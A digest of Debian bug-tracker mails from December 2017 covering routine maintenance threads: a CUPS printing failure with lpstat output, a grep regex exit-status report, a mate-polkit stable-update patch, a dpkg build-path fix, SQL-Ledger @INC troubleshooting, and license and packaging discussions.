printer ETD is idle.  enabled since 2017-11-20T14:57:01 IST
printer HP_deskjet_5100 disabled since 2016-05-19T16:13:04 IST -
    Backend /usr/lib/cups/backend/hp does not exist!
printer HP_LaserJet_Pro_M202dw disabled since 2016-03-28T11:10:41 IST -
    File "/usr/lib/cups/filter/hpps" not available: No such file or 
directory
printer HP_LaserJet_Pro_M202dw_01FF68_ is idle.  enabled since 
2017-12-08T11:50:59 IST

printer HP_PVM is idle.  enabled since 2017-03-17T09:13:21 IST
printer Kyocera_TASKalfa_3510i is idle.  enabled since 
2016-12-13T11:53:40 IST
printer Kyocera_TASKalfa_3510i_71_ is idle.  enabled since 
2017-12-08T11:50:59 IST

printer NehaMangal is idle.  enabled since 2017-03-20T12:40:19 IST
printer RA is idle.  enabled since 2017-12-06T17:00:12 IST
printer RitwikAnand is idle.  enabled since 2017-05-15T11:14:20 IST
printer SudhirBishnoi disabled since 2016-12-16T14:30:51 IST -
    Backend /usr/lib/cups/backend/hp does not exist!
===

Thanks.
On 2017-12-07 18:17, Brian Potkin wrote:

tags 883765 moreinfo
thanks


Thank you for your report, P V Mathew,


On Thu 07 Dec 2017 at 15:59:35 +0530, P V Mathew wrote:


Package: cups-client
Version: 2.2.6-2
Severity: normal

Dear Maintainer,


After update today, trying to print  postscript/pdf file resulted in the
error:
lp:Unsupported document-format "application/octet-stream".

Same issue with pdf files also.

commands used:
lp -d  filename.ps
lp -d  filename.pdf

The printer make and model, please. Network or USB? See

https://wiki.debian.org/DissectingandDebuggingtheCUPSPrintingSystem

on how to get an error_log. Compress it before sending it here. Give the
output of 'lpstat -t'.

Regards,

Brian.

Bug#883850: gcc-7-cross-ports: Please add support for ia64 to gcc-cross-ports

[Matthias Klose]

Control: tags -1 + moreinfo

On 08.12.2017 11:06, Jason Duerstock wrote:
> Source: gcc-7-cross-ports
> Severity: normal
> 
> Dear Maintainer,
> 
> As I am working toward getting added to Debian ports, please add ia64 support 
> to this cross package.

sure, please provide a patch / patches, and attach a (compressed) buildlog for a
successful build.

Matthias

Bug#867785: libmicrohttpd-dev: Missing performance_data.png

[Evgeny Grin]

Problem was fixed in upstream, starting from version 0.9.58.
v0.9.58 is available on upstream official FTP
https://ftp.gnu.org/gnu/libmicrohttpd/

-- 
Wishes,
Evgeny



signature.asc
Description: OpenPGP digital signature

Bug#883852: wrong error for usr-share-doc-symlink-without-dependency with qualified :any packages

[Matthias Klose]

Package: lintian
Version: 2.5.62
Severity: important

python-examples
E usr-share-doc-symlink-without-dependency
python

$ dpkg -I ../python-examples_2.7.14-3_all.deb |grep Depends
 Depends: python:any (>= 2.7.14-3), python2.7-examples (>= 2.7.14-1~)

Bug#883731: audacious: Debian packaging has incorrect license

[Francesco Poli]

On Thu, 7 Dec 2017 22:39:41 -0500 Nicholas D Steeves wrote:

> Dear Debian Legal Team,

Hello Nicholas, John, and everybody else reading this.

I would like to send some comments of mine, here.

Please note that: not only I am not a lawyer, but, even more
importantly, I am not your lawyer, nor a lawyer of the Debian Project.
Also, I am not a member of the Debian Project: I am just a Debian
external contributor, who happens to be a regular on the debian-legal
mailing list...

> 
> I've CCed you for my reply to this bug, because I don't have the
> experience to be able to tell if Debian implicitly relicensed
> Audacious as GPL-3 from 2012-2016,

As far as I can tell, *maybe* the implicit re-licensing was done by
distributing the audacious Debian package with the incorrect
debian/copyright file.

> how potentially falling out of
> BSD-2-clause license compliance might have affected this,

Failing to retain the license text in the package distribution is in
fact lack of compliance with the 2-clause BSD license, I would say...

> and also how
> this should be resolved.  The Debian packaging is GPL-2+, so it's
> possible to move to copyright-format/1.0 if that would simplify
> things.

I personally think that the first thing to do is an accurate copyright
and licensing status review of the audacious package, so that the
debian/copyright file may be fixed to reflect the actual current state
of affairs.
The Audacious upstream developers may be willing to help, by clarifying
any doubts upon request.
This may be a perfect opportunity to switch to the [machine readable]
format.

[machine readable]: 


After a fixed audacious package is uploaded to Debian unstable and
migrates to Debian testing, the most offending issue should be solved,
I suppose.
At that point, the Audacious upstream developers may be willing to
forgive the Debian Project for the past incorrect copyright information.

If that is deemed to be needed or useful, it could be feasible to also
fix the debian/copyright file for audacious version 3.7.2 in a Debian
stable update (and possibly also address the same issue for
oldstable)... On the other hand, this extra effort could perhaps be
considered not worth doing.

> Also, please reply to point 2. OTTO "ancient plugins...under
> different licenses.  I assume audacious-plugins will also need a
> copyright review.

Probably.

> Please CC John and I, Bug #883731, and
> debian-legal as appropriate.

Done.

I hope my comments may help.

Bye and thanks to the Debian Multimedia Maintainers for the time they
spend in maintaining a number of great Debian packages, and to the
Audacious upstream developers for the time they spend in
developing/maintaining that very nice audio player (that I personally
use everyday!). Thank you!


-- 
 http://www.inventati.org/frx/
 There's not a second to spare! To the laboratory!
. Francesco Poli .
 GnuPG key fpr == CA01 1147 9CD2 EFDF FB82  3925 3E1C 27E1 1F69 BFFE


pgpReP5fP37AB.pgp
Description: PGP signature

Bug#883765: cups-client: Unsupported document-format "application/octet-stream".

[Brian Potkin]

Do not forget to include the bug in any reply, P V. You sent the last
mail only to me.


On Fri 08 Dec 2017 at 12:07:43 +0530, P V Mathew wrote:

> Thanks for your prompt reply.
> (1) The same error occurs for every printer chosen, even for PDF printer.

An error_log is needed. Let us have have one for the  PDF printer and
we'll go from there.

> (2) Before update of Debian Buster yesterday every thing was ok.
> (3) Firefox replies--Connection reset--- for localhost:631
> (4) Tried removing and reinstalling cups in buster.
> (5) Looks more like a Debian Buster problem as many other programs(icedove,
> file, man etc)
>     are not workinag.

This looks like a problem with the upgrade rather than something
specific to the printing system. 

> (6)as desired, output of lpstat -t is given below.
> ==
> cups>lpstat -t
> scheduler is running
> system default destination: RA
> device for ETD: socket://10.53.54.27
> device for HP_deskjet_5100: hp:/usb/deskjet_5100?serial=MY37G3N13T8B
> device for HP_LaserJet_Pro_M202dw:
> hp:/usb/HP_LaserJet_Pro_M202dw?serial=VNC3J23029
> device for HP_LaserJet_Pro_M202dw_01FF68_:
> ipp://NPI01FF68.local:631/ipp/print
> device for HP_PVM: socket://192.168.192.198
> device for Kyocera_TASKalfa_3510i: socket://10.53.100.155
> device for Kyocera_TASKalfa_3510i_71_: ipps://KM25E478.local:443/ipp/print
> device for NehaMangal: socket://192.168.192.198
> device for RA: socket://192.168.193.201
> device for RitwikAnand: socket://192.168.192.201
> device for SudhirBishnoi:
> hp:/net/HP_LaserJet_Professional_P1606dn?ip=10.53.40.5
> ETD accepting requests since 2017-11-20T14:57:01 IST
> HP_deskjet_5100 accepting requests since 2016-05-19T16:13:04 IST
> HP_LaserJet_Pro_M202dw accepting requests since 2016-03-28T11:10:41 IST
> HP_LaserJet_Pro_M202dw_01FF68_ accepting requests since 2017-12-08T11:50:59
> IST
> HP_PVM accepting requests since 2017-03-17T09:13:21 IST
> Kyocera_TASKalfa_3510i accepting requests since 2016-12-13T11:53:40 IST
> Kyocera_TASKalfa_3510i_71_ accepting requests since 2017-12-08T11:50:59 IST
> NehaMangal accepting requests since 2017-03-20T12:40:19 IST
> RA accepting requests since 2017-12-06T17:00:12 IST
> RitwikAnand accepting requests since 2017-05-15T11:14:20 IST
> SudhirBishnoi accepting requests since 2016-12-16T14:30:51 IST
> printer ETD is idle.  enabled since 2017-11-20T14:57:01 IST
> printer HP_deskjet_5100 disabled since 2016-05-19T16:13:04 IST -
>     Backend /usr/lib/cups/backend/hp does not exist!

Is hplip installed?

> printer HP_LaserJet_Pro_M202dw disabled since 2016-03-28T11:10:41 IST -
>     File "/usr/lib/cups/filter/hpps" not available: No such file or
> directory
> printer HP_LaserJet_Pro_M202dw_01FF68_ is idle.  enabled since
> 2017-12-08T11:50:59 IST
> printer HP_PVM is idle.  enabled since 2017-03-17T09:13:21 IST
> printer Kyocera_TASKalfa_3510i is idle.  enabled since 2016-12-13T11:53:40
> IST
> printer Kyocera_TASKalfa_3510i_71_ is idle.  enabled since
> 2017-12-08T11:50:59 IST
> printer NehaMangal is idle.  enabled since 2017-03-20T12:40:19 IST
> printer RA is idle.  enabled since 2017-12-06T17:00:12 IST
> printer RitwikAnand is idle.  enabled since 2017-05-15T11:14:20 IST
> printer SudhirBishnoi disabled since 2016-12-16T14:30:51 IST -
>     Backend /usr/lib/cups/backend/hp does not exist!
> ===

I can understand the HP printers not working if there is no hp backend,
but not any of the other printers. We really need error_logs.

Regards,

Brian.

Bug#883852: wrong error for usr-share-doc-symlink-without-dependency with qualified :any packages

[Matthias Klose]

ahh, and that's an error flagged as auto-reject :-/

Bug#883853: Please provide binaries/symlinks without version suffix

[Andre Heider]

Source: gcc-7-cross

(this applies to gcc-*-cross, I was unsure where to file it)

Currently all the binaries of all -cross packages have a version suffix.

For gcc it looks like this:
gcc-7-aarch64-linux-gnu: /usr/bin/aarch64-linux-gnu-gcc-7
gcc-5-aarch64-linux-gnu: /usr/bin/aarch64-linux-gnu-gcc-5

gcc-aarch64-linux-gnu then provides symlinks to the current default version:
/usr/bin/aarch64-linux-gnu-gcc -> aarch64-linux-gnu-gcc-7

Now, most build environments provide a way to set a prefix for the 
toolchain to use. Like the kernel:

CROSS_COMPILE=/usr/bin/aarch64-linux-gnu- make something

That works fine for debian's default gcc version, but doesn't when you 
want to use another version. While some build environments allow a way 
to set a suffix too, they generally do not. Setting just a prefix seems 
like the established way.


A dedicated directory with binaries/symlinks without version suffix 
would fix this, like:

CROSS_COMPILE=/usr/bin/aarch64-linux-gnu-5/aarch64-linux-gnu-

Please consider providing it!

Thanks,
Andre

Bug#883254: libreoffice-calc: the cells enclosed in calculations are not highlighted with colored panels

[Eike Rathke]

Fixed for 5.4.4, see
https://bugs.documentfoundation.org/show_bug.cgi?id=113179


signature.asc
Description: PGP signature

Bug#883733: Debian Bug#883733: grep returns 0 even if there is no match

[Santiago R.R.]

Dear grep developers,

I would like to forward the report below, filed by Mathias Pietsch to
Debian. I don't want to introduce other noise than this:

$ echo 1 | grep -E '^1?$' ; echo $?
1
$ echo 1 | grep -E '^(11+)\1+$' ; echo $?
1
$ echo 1 | grep -E '^(11+)\1+$|^1?$' ; echo $?
1
0

Shouldn't the last grep command exit 1 too?

Cheers,

 -- Santiago

- Forwarded message from Mathias Pietsch  
-

Date: Wed, 6 Dec 2017 23:51:52 +0100
From: Mathias Pietsch 
To: Debian Bug Tracking System 
Subject: Bug#883733: grep returns 0 even if there is no match
X-Mailer: reportbug 7.1.7

Package: grep
Version: 2.27-2
Severity: normal
Tags: upstream

when trying to test this famous regexp for matching non-prime numbers
(^1?$|^(11+?)\1+$) which works fine with 'grep -P', i wondered if it
also would work without the non-greedy quantifier so egrep or even
plain grep could use it, and found the following problem e.g., with the
prime number 13:

$ echo "1" | grep -E '^(11+)\1+$|^1?$' || echo prime
1

the expected output would have been 'prime' because '1'
doesn't match '^1?$' and is also no concatanation of two or more
'11', two or more '111', ... opposite to the orignal perl-style
non-greedy version, here the substrings should be tested for a match
beginning with the longest (13 x '1') down to the shortest ('11').

next i removed the empty line term from the regexp (i.e., the '?' from
the '^1?$' term):

$ echo "1" | grep -E '^(11+)\1+$|^1$' || echo prime
prime

now the result is correct. but since the input in not an empty line,
using '^(11+)\1+$|^1?$' or '^(11+)\1+$|^1$' should not make any
difference.

(making the empty line term a separate term '^(11+)\1+$|^1$|^$' doesn't
change anything. the same is true with using plain grep and
'^\(11\+\)\1\+$\|^1\?$' or '^\(11\+\)\1\+$\|^1$\|^$'.)

this bug also appears in the original upstream version 3.1
(http://ftp.gnu.org/gnu/grep/grep-3.1.tar.xz)


-- System Information:
Debian Release: 9.3
  APT prefers proposed-updates
  APT policy: (500, 'proposed-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=C, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=C (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Init: sysvinit (via /sbin/init)

Versions of packages grep depends on:
ii  dpkg  1.18.24
ii  install-info  6.3.0.dfsg.1-1+b2
ii  libc6 2.24-11+deb9u2
ii  libpcre3  2:8.39-3

grep recommends no packages.

Versions of packages grep suggests:
ii  libpcre3  2:8.39-3

-- no debconf information


━━━

Universitätsklinikum Hamburg-Eppendorf; Körperschaft des öffentlichen Rechts;
Gerichtsstand: Hamburg | www.uke.de
Vorstandsmitglieder: Prof. Dr. Burkhard Göke (Vorsitzender), Prof. Dr. Dr. Uwe
Koch-Gromus, Joachim Prölß, Martina Saurin (komm.)

━━━

SAVE PAPER - THINK BEFORE PRINTING



- End forwarded message -

Bug#883854: stretch-pu: package mate-polkit/1.16.0-2+deb9u1

[Mike Gabriel]

Package: release.debian.org
Severity: normal
Tags: stretch
User: release.debian@packages.debian.org
Usertags: pu

Whenever mate-polkit asks for the user's password to change the user
context via PolicyKit, an icon is shown in the system tray.

In Debian stretch, this icon is broken. It should show dialog-password.
The attached .debdiff fixes that.

Please consider an ACK to get this change into the next point release of
Debian 9.

Thanks!
Mike

-- System Information:
Debian Release: 9.1
  APT prefers stable
  APT policy: (990, 'stable'), (500, 'stable-updates'), (500, 'stable-debug'), 
(500, 'proposed-updates-debug')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
diff -Nru mate-polkit-1.16.0/debian/changelog 
mate-polkit-1.16.0/debian/changelog
--- mate-polkit-1.16.0/debian/changelog 2017-01-10 18:37:26.0 +0100
+++ mate-polkit-1.16.0/debian/changelog 2017-12-08 12:12:31.0 +0100
@@ -1,3 +1,11 @@
+mate-polkit (1.16.0-2+deb9u1) stretch; urgency=medium
+
+  * debian/patches:
++ Add 0001_status-icon-dont-use-stock-icon.patch. Fix damaged status icon
+  if GtkStatusIcon is used. (Closes: #870318).
+
+ -- Mike Gabriel   Fri, 08 Dec 2017 12:12:31 +0100
+
 mate-polkit (1.16.0-2) unstable; urgency=medium
 
   * debian/control:
diff -Nru 
mate-polkit-1.16.0/debian/patches/0001_status-icon-dont-use-stock-icon.patch 
mate-polkit-1.16.0/debian/patches/0001_status-icon-dont-use-stock-icon.patch
--- 
mate-polkit-1.16.0/debian/patches/0001_status-icon-dont-use-stock-icon.patch
1970-01-01 01:00:00.0 +0100
+++ 
mate-polkit-1.16.0/debian/patches/0001_status-icon-dont-use-stock-icon.patch
2017-12-08 12:12:31.0 +0100
@@ -0,0 +1,32 @@
+From 24c247381e1e0fd62159bdcecf89929f2d846492 Mon Sep 17 00:00:00 2001
+From: raveit65 
+Date: Tue, 9 May 2017 12:42:34 +0200
+Subject: [PATCH] status-icon: don't use stock icons
+
+Fixes damaged status icon if GtkStatusIcon is used.
+---
+ src/main.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/main.c b/src/main.c
+index 197d29a..f3d5b74 100644
+--- a/src/main.c
 b/src/main.c
+@@ -157,7 +157,7 @@ update_temporary_authorization_icon_real (void)
+   GtkWidget *item, *menu;
+ 
+   app_indicator = app_indicator_new ("mate-polkit",
+- "gtk-dialog-authentication",
++ "dialog-password",
+  
APP_INDICATOR_CATEGORY_SYSTEM_SERVICES);
+ 
+   item = gtk_menu_item_new_with_label (_("Drop all elevated 
privileges"));
+@@ -178,7 +178,7 @@ update_temporary_authorization_icon_real (void)
+ #else
+   if (status_icon == NULL)
+ {
+-  status_icon = gtk_status_icon_new_from_stock 
(GTK_STOCK_DIALOG_AUTHENTICATION);
++  status_icon = gtk_status_icon_new_from_icon_name 
("dialog-password");
+   gtk_status_icon_set_tooltip_text (status_icon,
+ _("Click the icon to drop all 
elevated privileges"));
+   g_signal_connect (status_icon,
diff -Nru mate-polkit-1.16.0/debian/patches/series 
mate-polkit-1.16.0/debian/patches/series
--- mate-polkit-1.16.0/debian/patches/series1970-01-01 01:00:00.0 
+0100
+++ mate-polkit-1.16.0/debian/patches/series2017-12-08 12:12:31.0 
+0100
@@ -0,0 +1 @@
+0001_status-icon-dont-use-stock-icon.patch

Bug#870318: mate-polkit: MATE polkit built against GTK 3 displays a corrupted icon.

[Mike Gabriel]

Hi Vlad,

On  Do 07 Dez 2017 14:10:54 CET, Vlad Orlov wrote:


Control: tags -1 stretch
Control: fixed -1 1.18.1-1


Hi,

I confirm this:
- the problem is fixed in 1.18.1, so it doesn't exist in Buster/Sid
- the mentioned commit fixes the problem in Stretch


I have just sent out a stretch-pu bug to the release team. Process of  
getting this into the next Debian 9 point release has started...


Mike
--

DAS-NETZWERKTEAM
mike gabriel, herweg 7, 24357 fleckeby
mobile: +49 (1520) 1976 148
landline: +49 (4354) 8390 139

GnuPG Fingerprint: 9BFB AEE8 6C0A A5FF BF22  0782 9AF4 6B30 2577 1B31
mail: mike.gabr...@das-netzwerkteam.de, http://das-netzwerkteam.de



pgpa7I9lDmBnY.pgp
Description: Digitale PGP-Signatur

Bug#869994: Fwd: Bug#869994: sql-ledger: Can't locate bin/mozilla/login.pl in @INC

[Robert J. Clay]

-- Forwarded message --
From: Robert J. Clay 
Date: Thu, Dec 7, 2017 at 10:26 AM
Subject: Re: Bug#869994: sql-ledger: Can't locate bin/mozilla/login.pl in @INC
To: Neil Redgate 


Hi Neil!

Note that I've changed the subject for these emails back to reflect
the current title of the bug.

On Thu, Dec 7, 2017 at 6:48 AM, Neil Redgate  wrote:

>
> Please see my embedded comments below -
>
>
> On Wed, 2017-12-06 at 12:46 -0500, Robert J. Clay wrote:
>
> As a reminder;  the title of the bug you opened was changed to the
> following to better reflect the issue with the sql-ledger package:
>
> sql-ledger: Can't locate bin/mozilla/login.pl in @INC
>
> Thank you for changing the title.

   For the email to which you've just replied; I changed it back to
the old subject so that hopefully you would see it more easily,.
   The retitle of the bug itself was done by one of he Debian
Developers who were corresponding with on that bug back then.


> On Sun, Jul 30, 2017 at 4:09 AM, Neil Redgate  wrote:
>
>
> I contacted the developer, and he offered the following advice -
>
>
> SQL-Ledger code is generic. There is an
>
> eval  { require "sql-ledger.conf"; };
>
> which may call @INC.
>
> comment the line and see if it works.
>
> Unfortunately there was no improvement, 

I wonder if he (the SQL-Ledger author) has looked at that same Perl
v5.26 reference noted earlier in the bug regarding this issue?

https://metacpan.org/pod/release/XSAWYERX/perl-5.26.0/pod/perldelta.pod#Removal-of-the-current-directory-%28%22.%22%29-from-@INC

What I referenced is in that and what I'm going to try is adding the
following code to the scripts, where that path is as it is installed
with the Debian package:

--
BEGIN {
my $dir = "/usr/share/sql-ledger";
chdir $dir or die "Can't chdir to $dir: $!\n";
# safe now
push @INC, '.';
}
--

Note that I say "try" because although I've created a patch that makes
that change in the application scripts, I still need to create a new
LXC container (with Debian Testing or Unstable installed) where I can
test it after building a test version of the SQL-Ledger package with
that patch..
Note also that I'm still working with the existing version of
SQL-Ledger in Debian, which is still only 3.08. Attempting to build a
new package based on the new SQL-Ledger v3.25 results in other errors
(as I noted in the open bug regarding updating the package to that new
version [1]) and I want to see if this patch helps with this issue
before addressing anything else.

I'll follow up further (to you, as well as the bug), later.



Robert J. Clay
rjc...@gmail.com
[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=862953


-- 
Robert J. Clay
rjc...@gmail.com

Bug#879764: fixed in golang-1.9 1.9.2-4

[James Cowgill]

Hi,

On 08/12/17 01:34, Michael Hudson-Doyle wrote:
> Source: golang-1.9
> Source-Version: 1.9.2-4
> 
> We believe that the bug you reported is fixed in the latest version of
> golang-1.9, which is due to be installed in the Debian FTP archive.
[...]
>* Enable building on mips, mipsel and mips64. (Closes: 879764)

Thanks for this. The mips and mipsel builds failed due to #867358,
however the fix for this is in the kernel due to be released in the next
stable point release tomorrow. After the mips buildds have had their
kernels updated, I'll give the package back and it should build.

After this is done, is there anything you want me to do (like rebuilds,
give-backs, patches, etc) to get mips* enabled in golang-defaults?

James



signature.asc
Description: OpenPGP digital signature

Bug#883855: [nnrpd-ssl]: Does not send intermediate certificates

[Michael Bussmann]

Package: inn2
Version: 2.6.1-2
Severity: minor

Hi

It seems nnrpd -S does not send intermediate certificates that are
included in tlscertfile.  Instead only the first certificate is
presented.

On first glance it might be fixed by replacing
SSL_CTX_use_certificate_file() with SSL_CTX_use_certificate_chain_file()
in nnrpd/tls.c:379 (inside set_cert_stuff).  Then again, I may be
totally wrong.

Cheers,
Michael

-- System Information:
Debian Release: 9.2
  APT prefers stable-updates
  APT policy: (700, 'stable-updates'), (700, 'stable')
Architecture: i386 (i686)

Kernel: Linux 4.9.0-4-686-pae (SMP w/1 CPU core)
Locale: LANG=, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE= (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages inn2 depends on:
ii  cron   3.0pl1-128+b1
ii  exim4-daemon-heavy [mail-transport-agent]  4.89-2+deb9u2
ii  inn2-inews 2.6.1-2
ii  libc6  2.24-11+deb9u1
ii  libdb5.3   5.3.28-12+deb9u1
ii  libmime-tools-perl 5.508-1
ii  libpam0g   1.1.8-3.6
ii  libperl5.245.24.1-3+deb9u2
ii  libsasl2-2 2.1.27~101-g0780600+dfsg-3
ii  libssl1.1  1.1.0f-3+deb9u1
ii  lsb-base   9.20161125
ii  perl   5.24.1-3+deb9u2
ii  perl-base [perlapi-5.24.1] 5.24.1-3+deb9u2
ii  procps 2:3.3.12-3
ii  time   1.7-25.1+b1
ii  zlib1g 1:1.2.8.dfsg-5

inn2 recommends no packages.

Versions of packages inn2 suggests:
ii  gnupg   2.1.18-8~deb9u1
ii  libcomerr2  1.43.4-2
ii  libgd-perl  2.53-3
ii  libkrb5-3   1.15-1+deb9u1
ii  wget1.18-5+deb9u1

-- Configuration Files:
/etc/cron.d/inn2 changed [not included]
/etc/news/control.ctl changed [not included]
/etc/news/cycbuff.conf changed [not included]
/etc/news/expire.ctl changed [not included]
/etc/news/filter/filter_innd.pl changed [not included]
/etc/news/filter/filter_nnrpd.pl changed [not included]
/etc/news/incoming.conf changed [not included]
/etc/news/innfeed.conf changed [not included]
/etc/news/innreport.conf changed [not included]
/etc/news/newsfeeds changed [not included]
/etc/news/nnrpd.track changed [not included]
/etc/news/ovdb.conf changed [not included]
/etc/news/readers.conf changed [not included]
/etc/news/storage.conf changed [not included]
/etc/news/subscriptions changed [not included]

-- debconf information excluded

Bug#869994: sql-ledger: Can't locate bin/mozilla/login.pl in @INC

[Robert J. Clay]

Hi Neil!

On Thu, Dec 7, 2017 at 10:26 AM, Robert J. Clay  wrote:
> Note also that I'm still working with the existing version of
> SQL-Ledger in Debian, which is still only 3.08.

  And although the patch I used looks like it resolved the error
(although I was getting it as "Can't locate bin/mozilla/admin.pl in
@INC" without the patch since it was a new install on Debian Testing
and I hadn't gotten to the point of trying a login yet) but other
errors were coming up.instead. But it's also true that the 3.08
version is quite old and it needs to be tested with the v3.25 version
in any case.


> Attempting to build a
> new package based on the new SQL-Ledger v3.25 results in other errors

   Despite those, it looks like I need to try that patch I made with
the SQL-Ledger version 3.25 & see how it works with the newer version,
& see that newer version works on a Debian Testing install without
that "Can't locate" error in the way.  If that at least works, I can
work on resolving the other packaging issues I found.



-- 
Robert J. Clay
rjc...@gmail.com

Bug#883856: dpkg: Fails to build any package in path with '@' in it

[Dennis Kaarsemaker]

Package: dpkg
Version: 1.18.24ubuntu1
Severity: normal

Dear Maintainer,

When building packages in 'odd' directory names, building fails. I
traced this to commit 2125e8dd being incomplete. Patch below.


m 558d4b77ed9ddd3902eba6989e82ca9ad8e2d77f Mon Sep 17 00:00:00 2001
From: Dennis Kaarsemaker 
Date: Fri, 8 Dec 2017 12:39:31 +0100
Subject: [PATCH] Fix building in weird pathnames

2125e8dd forgot to update a location, causing the following build error
when running in 'odd' pathnames (with an @ in it) when running e.g. dh
clean.

Can't use string ("0") as a HASH ref while "strict refs" in use at 
/usr/share/perl5/Dpkg/Vendor/Debian.pm line 397.
---
 scripts/Dpkg/Vendor/Debian.pm | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scripts/Dpkg/Vendor/Debian.pm b/scripts/Dpkg/Vendor/Debian.pm
index e0fd01113..980597b5c 100644
--- a/scripts/Dpkg/Vendor/Debian.pm
+++ b/scripts/Dpkg/Vendor/Debian.pm
@@ -204,7 +204,7 @@ sub _add_build_flags {
 # so that we do not need to worry about escaping the characters
 # on output.
 if ($build_path =~ m/[^-+:.0-9a-zA-Z~\/_]/) {
-$use_feature{fixdebugpath} = 0;
+$use_feature{reproducible}{fixdebugpath} = 0;
 }
 }
 
-- 
2.15.0-454-g89b61be



-- System Information:
Debian Release: stretch/sid
  APT prefers artful-updates
  APT policy: (500, 'artful-updates'), (500, 'artful-security'), (500, 
'artful'), (100, 'artful-backports')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.13.0-16-generic (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages dpkg depends on:
ii  libbz2-1.0   1.0.6-8.1
ii  libc62.26-0ubuntu2
ii  liblzma5 5.2.2-1.3
ii  libselinux1  2.7-1
ii  tar  1.29b-2
ii  zlib1g   1:1.2.11.dfsg-0ubuntu2

dpkg recommends no packages.

Versions of packages dpkg suggests:
ii  apt1.5.1
pn  debsig-verify  

-- no debconf information
# Copyright © 2009-2011 Raphaël Hertzog 
# Copyright © 2009, 2011-2017 Guillem Jover 
#
# Hardening build flags handling derived from work of:
# Copyright © 2009-2011 Kees Cook 
# Copyright © 2007-2008 Canonical, Ltd.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see .

package Dpkg::Vendor::Debian;

use strict;
use warnings;

our $VERSION = '0.01';

use Dpkg;
use Dpkg::Gettext;
use Dpkg::ErrorHandling;
use Dpkg::Control::Types;

use parent qw(Dpkg::Vendor::Default);

=encoding utf8

=head1 NAME

Dpkg::Vendor::Debian - Debian vendor object

=head1 DESCRIPTION

This vendor object customizes the behaviour of dpkg scripts for Debian
specific behavior and policies.

=cut

sub run_hook {
my ($self, $hook, @params) = @_;

if ($hook eq 'package-keyrings') {
return ('/usr/share/keyrings/debian-keyring.gpg',
'/usr/share/keyrings/debian-maintainers.gpg');
} elsif ($hook eq 'keyrings') {
warnings::warnif('deprecated', 'deprecated keyrings vendor hook');
return $self->run_hook('package-keyrings', @params);
} elsif ($hook eq 'archive-keyrings') {
return ('/usr/share/keyrings/debian-archive-keyring.gpg');
} elsif ($hook eq 'archive-keyrings-historic') {
return ('/usr/share/keyrings/debian-archive-removed-keys.gpg');
} elsif ($hook eq 'builtin-build-depends') {
return qw(build-essential:native);
} elsif ($hook eq 'builtin-build-conflicts') {
return ();
} elsif ($hook eq 'register-custom-fields') {
} elsif ($hook eq 'extend-patch-header') {
my ($textref, $ch_info) = @params;
if ($ch_info->{'Closes'}) {
foreach my $bug (split(/\s+/, $ch_info->{'Closes'})) {
$$textref .= "Bug-Debian: https://bugs.debian.org/$bug\n";;
}
}

# XXX: Layer violation...
require Dpkg::Vendor::Ubuntu;
my $b = 
Dpkg::Vendor::Ubuntu::find_launchpad_closes($ch_info->{'Changes'});
foreach my $bug (@$b) {
$$textref .= "Bug-Ubuntu: https://bugs.launchpad.net/bugs/$bug\n";;
}
} elsif ($hook eq 'update-buildflags') {
$self->_add_build_flags(@params);
} elsif ($hook eq 'builtin-system-build-paths') {
return qw(/build/);
} else {
return $self->SUPER::run_hook($hook, @params)

Bug#883843: [PKG-Openstack-devel] Bug#883843: python-openstackdocstheme: Source includes "bootstrap.min.css" etc. listed in Files-Excluded header

[Thomas Goirand]

On 12/08/2017 10:09 AM, Chris Lamb wrote:
> Source: python-openstackdocstheme
> Version: 1.16.1-2
> Severity: serious
> User: la...@debian.org
> Usertags: files-excluded
> 
> Dear Maintainer,
> 
> python-openstackdocstheme lists "[…]/css/bootstrap.min.css" in the
> Files-Excluded field in debian/copyright but the source tree contains
> this file and others.
> 
> This is probably a DFSG violation, or at least the upstream tarball was
> not repacked as intended. Alternatively, the field is simply out of date.
> 
> 
> Regards,

The file is indeed present in the orig tarball, however:
1/ on runtime, it's really the files from libjs-boostrap that are in use
2/ there's also the bootstrap.css/js files present in the traball

So I don't think there's a DFSG violation here. Please let me know if
you think otherwise.

Anyway, indeed, it'd be preferable to remove the minified files from the
orig tarball, and I'll do that.

Cheers,

Thomas Goirand (zigo)

Bug#606885: xpdf: no longer asks for password in dialog window

[matthias.hinkfoth]

Hi Florian,

> I wasn't sure how to triage this bug without a password-protected
> PDF file handy, but it turns out Libreoffice can create those.

I recently used pdftk to create a password-protected PDF file.
Something like
$ pdftk plain.pdf cat 1-end output protected.pdf user_pw secret
should work from the command line.

> xpdf will abort with an error ("Command Line Error: Incorrect password")
> unless the correct password is supplied on the command line. This is
> probably not very useful in cases where xpdf is not started from the
> command line (web browser, graphical file manager, ...).

The problem also appears with the poppler-utils, e.g.:
$ pdfinfo protected.pdf
Command Line Error: Incorrect password

I suspect this to be one of the many bugs that arise due to
inconsistency between xpdf and poppler (libpoppler64 in this case).

